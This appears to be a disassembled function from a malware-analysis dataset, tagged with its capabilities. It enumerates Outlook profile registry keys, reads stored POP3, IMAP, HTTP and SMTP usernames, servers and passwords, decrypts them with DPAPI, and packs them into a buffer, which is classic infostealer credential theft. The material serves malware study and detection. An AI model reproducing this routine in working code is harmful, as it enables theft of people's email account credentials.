Function at 0x4076b3
Capabilities:
Encrypt data using dpapi
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf68
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676
mov dword [ebp - 0x10], 0
mov byte [ebp - 0x12], 0
mov dword [ebp - 0xf34], 0x400
lea eax, [ebp - 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x407bfb
jmp 0x407b99
inc dword [ebp - 0x10]
lea eax, [ebp - 0x42c]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x410af5
mov dword [esp + 4], 0x400
lea eax, [ebp - 0x82c]
mov dword [esp], eax
call fcn.004099d7
lea eax, [ebp - 0x24]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
lea eax, [ebp - 0x82c]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x407b8f
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x12], 0
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0xf30]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0xa2c]
mov dword [esp + 8], edx
mov dword [esp + 4], str.Email
mov dword [esp], eax
call fcn.004074c4
test al, al
je 0x407b81
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0xf30]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0x92c]
mov dword [esp + 8], edx
mov dword [esp + 4], str.POP3_User
mov dword [esp], eax
call fcn.004074c4
test al, al
je 0x407874
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0xf30]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0xf2c]
mov dword [esp + 8], edx
mov dword [esp + 4], str.POP3_Server
mov dword [esp], eax
call fcn.004074c4
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0xf30]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x400
lea edx, [ebp - 0xe2c]
mov dword [esp + 8], edx
mov dword [esp + 4], str.POP3_Password
mov dword [esp], eax
call fcn.004074c4
mov byte [ebp - 0x12], al
mov byte [ebp - 0x11], 1
jmp 0x407a46
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0xf30]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0x92c]
mov dword [esp + 8], edx
mov dword [esp + 4], str.IMAP_User
mov dword [esp], eax
call fcn.004074c4
test al, al
je 0x407911
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0xf30]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0xf2c]
mov dword [esp + 8], edx
mov dword [esp + 4], str.IMAP_Server
mov dword [esp], eax
call fcn.004074c4
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0xf30]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x400
lea edx, [ebp - 0xe2c]
mov dword [esp + 8], edx
mov dword [esp + 4], str.IMAP_Password
mov dword [esp], eax
call fcn.004074c4
mov byte [ebp - 0x12], al
mov byte [ebp - 0x11], 2
jmp 0x407a46
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0xf30]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0x92c]
mov dword [esp + 8], edx
mov dword [esp + 4], str.HTTP_User
mov dword [esp], eax
call fcn.004074c4
test al, al
je 0x4079ae
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0xf30]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0xf2c]
mov dword [esp + 8], edx
mov dword [esp + 4], str.HTTP_Server
mov dword [esp], eax
call fcn.004074c4
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0xf30]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x400
lea edx, [ebp - 0xe2c]
mov dword [esp + 8], edx
mov dword [esp + 4], str.HTTP_Password
mov dword [esp], eax
call fcn.004074c4
mov byte [ebp - 0x12], al
mov byte [ebp - 0x11], 3
jmp 0x407a46
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0xf30]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0x92c]
mov dword [esp + 8], edx
mov dword [esp + 4], str.SMTP_User
mov dword [esp], eax
call fcn.004074c4
test al, al
je 0x407a46
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0xf30]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0xf2c]
mov dword [esp + 8], edx
mov dword [esp + 4], str.SMTP_Server
mov dword [esp], eax
call fcn.004074c4
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0xf30]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x400
lea edx, [ebp - 0xe2c]
mov dword [esp + 8], edx
mov dword [esp + 4], str.SMTP_Password
mov dword [esp], eax
call fcn.004074c4
mov byte [ebp - 0x12], al
mov byte [ebp - 0x11], 4
cmp byte [ebp - 0x12], 0
je 0x407af2
mov al, byte [ebp - 0xe2c]
cmp al, 2
jne 0x407af2
mov eax, dword [ebp - 0xf30]
dec eax
mov dword [ebp - 0xf3c], eax
lea eax, [ebp - 0xe2c]
inc eax
mov dword [ebp - 0xf38], eax
lea eax, [ebp - 0xf44]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0xf3c]
mov dword [esp], eax
call sub.CRYPT32.DLL_CryptUnprotectData
sub esp, 0x1c
test eax, eax
je 0x407af2
mov edx, dword [ebp - 0xf44]
mov eax, dword [ebp - 0xf40]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0xe2c]
mov dword [esp], eax
call fcn.00409cc0
mov eax, dword [ebp - 0xf40]
mov dword [esp], eax
call sub.KERNEL32.dll_LocalFree
sub esp, 4
cmp byte [ebp - 0x11], 0
je 0x407b81
movzx eax, byte [ebp - 0x11]
lea edx, [ebp - 0xe2c]
mov dword [esp + 0x1c], edx
lea edx, [ebp - 0x92c]
mov dword [esp + 0x18], edx
lea edx, [ebp - 0xa2c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0xf2c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], str._c_c_S_a_S_a_S_a_S_b_b_b_b
lea eax, [ebp - 0x28]
mov dword [esp], eax
call fcn.00409983
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x407b81
mov dword [esp + 0x10], 1
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x28]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call fcn.00409cdd
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov dword [ebp - 0xf34], 0x400
mov eax, dword [ebp - 0x20]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea edx, [ebp - 0xf34]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x42c]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegEnumKeyExA
sub esp, 0x20
cmp eax, 0x103
jne 0x40772e
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebp - 0x2c]
leave
ret